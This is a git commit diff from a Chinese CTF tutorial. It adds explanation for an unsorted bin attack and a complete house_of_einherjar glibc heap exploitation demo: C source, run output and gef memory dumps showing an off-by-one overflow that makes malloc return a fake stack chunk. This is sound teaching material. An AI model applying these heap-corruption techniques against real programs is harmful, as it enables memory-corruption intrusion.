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https://github.com/nganhkhoa/CTF-All-In-One.git
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update 3.3.5
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firmianay
parent
40f2058e04
commit
3c7fc5adc8
@ -5,6 +5,7 @@
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- [unsorted_bin_attack](#unsorted_bin_attack)
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- [house_of_einherjar](#house_of_einherjar)
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- [house_of_orange](#house_of_orange)
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- [参考资料](#参考资料)
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[下载文件](../src/Others/3.3.5_heap_exploit)
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@ -144,6 +145,17 @@ int main() {
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fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
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}
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```
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```
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$ gcc -g unsorted_bin_attack.c
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$ ./a.out
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The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
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Now, we allocate first small chunk on the heap at: 0x1066010
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We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
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We write it with the target address-0x10: 0x7ffc9b1d61a0
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Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
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```
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unsorted bin 攻击通常是为更进一步的攻击做准备的，我们知道 unsorted bin 是一个双向链表，在分配时会通过 unlink 操作将 chunk 从链表中移除，所以如果能够控制 unsorted bin chunk 的 bk 指针，就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中，从而导致信息泄漏，为进一步的攻击提供便利。
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unlink 的对 unsorted bin 的操作是这样的：
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@ -202,5 +214,146 @@ gef➤ x/4gx &stack_var-2
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从而泄漏了 unsorted bin 的头部地址。
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#### house_of_einherjar
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdint.h>
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#include <malloc.h>
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int main() {
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uint8_t *a, *b, *d;
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a = (uint8_t*) malloc(0x10);
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int real_a_size = malloc_usable_size(a);
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memset(a, 'A', real_a_size);
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fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
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size_t fake_chunk[6];
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fake_chunk[0] = 0x80;
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fake_chunk[1] = 0x80;
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fake_chunk[2] = (size_t) fake_chunk;
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fake_chunk[3] = (size_t) fake_chunk;
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fake_chunk[4] = (size_t) fake_chunk;
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fake_chunk[5] = (size_t) fake_chunk;
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fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
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fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
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fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
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fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
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fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
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fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
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fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
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b = (uint8_t*) malloc(0xf8);
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int real_b_size = malloc_usable_size(b);
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uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
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fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
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fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
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fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
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a[real_a_size] = 0;
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fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
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size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
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*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
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fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
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fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
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fake_chunk[1] = fake_size;
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fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
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fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
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free(b);
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fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
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d = malloc(0x10);
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memset(d, 'A', 0x10);
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fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
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}
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```
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```
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$ gcc -g house_of_einherjar.c
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$ ./a.out
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We allocate 0x10 bytes for 'a': 0xb31010
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Our fake chunk at 0x7ffdb337b7f0 looks like:
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prev_size: 0x80
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size: 0x80
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fwd: 0x7ffdb337b7f0
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bck: 0x7ffdb337b7f0
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fwd_nextsize: 0x7ffdb337b7f0
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bck_nextsize: 0x7ffdb337b7f0
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We allocate 0xf8 bytes for 'b': 0xb31030
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b.size: 0x101
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We overflow 'a' with a single null byte into the metadata of 'b'
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b.size: 0x100
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We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
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Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
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Modify fake chunk's size to reflect b's new prev_size
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Now we free b and this will consolidate with our fake chunk
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Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
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Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
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```
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house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞，覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志，然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时，它会发现前一个 chunk 被标记为空闲状态，然后尝试合并堆块。只要我们精心构造一个 fake chunk，让合并后的堆块范围到 fake chunk 处，那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ，更加强大，但是要求的条件也更多一点，比如一个堆信息泄漏。
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首先分配一个假设存在 off_by\_one 溢出的 chunk a，然后在栈上创建我们的 fake chunk，chunk 大小随意，只要是 small chunk 就可以了：
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```
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gef➤ x/8gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x4141414141414141 0x4141414141414141
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0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
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0x603030: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx &fake_chunk
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0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
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0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
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0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
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0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
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```
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接下来创建 chunk b，并利用 chunk a 的溢出将 size 字段覆盖掉，清除了 `PREV_INUSE` 标志，chunk b 就会以为前一个 chunk 是一个 free chunk 了：
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```
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gef➤ x/8gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x4141414141414141 0x4141414141414141
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0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
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0x603030: 0x0000000000000000 0x0000000000000000
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```
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原本 chunk b 的 size 字段应该为 0x101，在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的，覆盖后只影响了标志位，没有影响到大小。
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接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址，同时为了绕过检查，还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配：
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```
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gef➤ x/8gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x4141414141414141 0x4141414141414141
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0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
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0x603030: 0x0000000000000000 0x0000000000000000
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gef➤ x/8gx &fake_chunk
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0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
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0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
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0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
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0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
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```
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释放 chunk b，这时因为 `PREV_INUSE` 为零，unlink 会根据 prev_size 去寻找上一个 free chunk，并将它和当前 chunk 合并。从 arena 里可以看到：
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```
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gef➤ heap arenas
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Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
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```
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合并的过程在 poison-null-byte 那里也讲过了。
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最后当我们再次 malloc，其返回的地址将是 fake chunk 的地址：
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```
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gef➤ x/8gx &fake_chunk
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0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
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0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
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0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
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0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
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```
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#### house_of_orange
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## 参考资料
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54
src/Others/3.3.5_heap_exploit/house_of_einherjar.c
Normal file
54
src/Others/3.3.5_heap_exploit/house_of_einherjar.c
Normal file
@ -0,0 +1,54 @@
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdint.h>
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#include <malloc.h>
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int main() {
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uint8_t *a, *b, *d;
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a = (uint8_t*) malloc(0x10);
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int real_a_size = malloc_usable_size(a);
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memset(a, 'A', real_a_size);
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fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
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size_t fake_chunk[6];
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fake_chunk[0] = 0x80;
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fake_chunk[1] = 0x80;
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fake_chunk[2] = (size_t) fake_chunk;
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fake_chunk[3] = (size_t) fake_chunk;
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fake_chunk[4] = (size_t) fake_chunk;
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fake_chunk[5] = (size_t) fake_chunk;
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fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
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fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
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fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
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fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
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fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
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fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
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fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
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b = (uint8_t*) malloc(0xf8);
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int real_b_size = malloc_usable_size(b);
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uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
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fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
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fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
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fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
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a[real_a_size] = 0;
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fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
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size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
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*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
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fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
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fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
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fake_chunk[1] = fake_size;
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fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
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fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
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free(b);
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fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
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d = malloc(0x10);
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memset(d, 'A', 0x10);
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fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
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}
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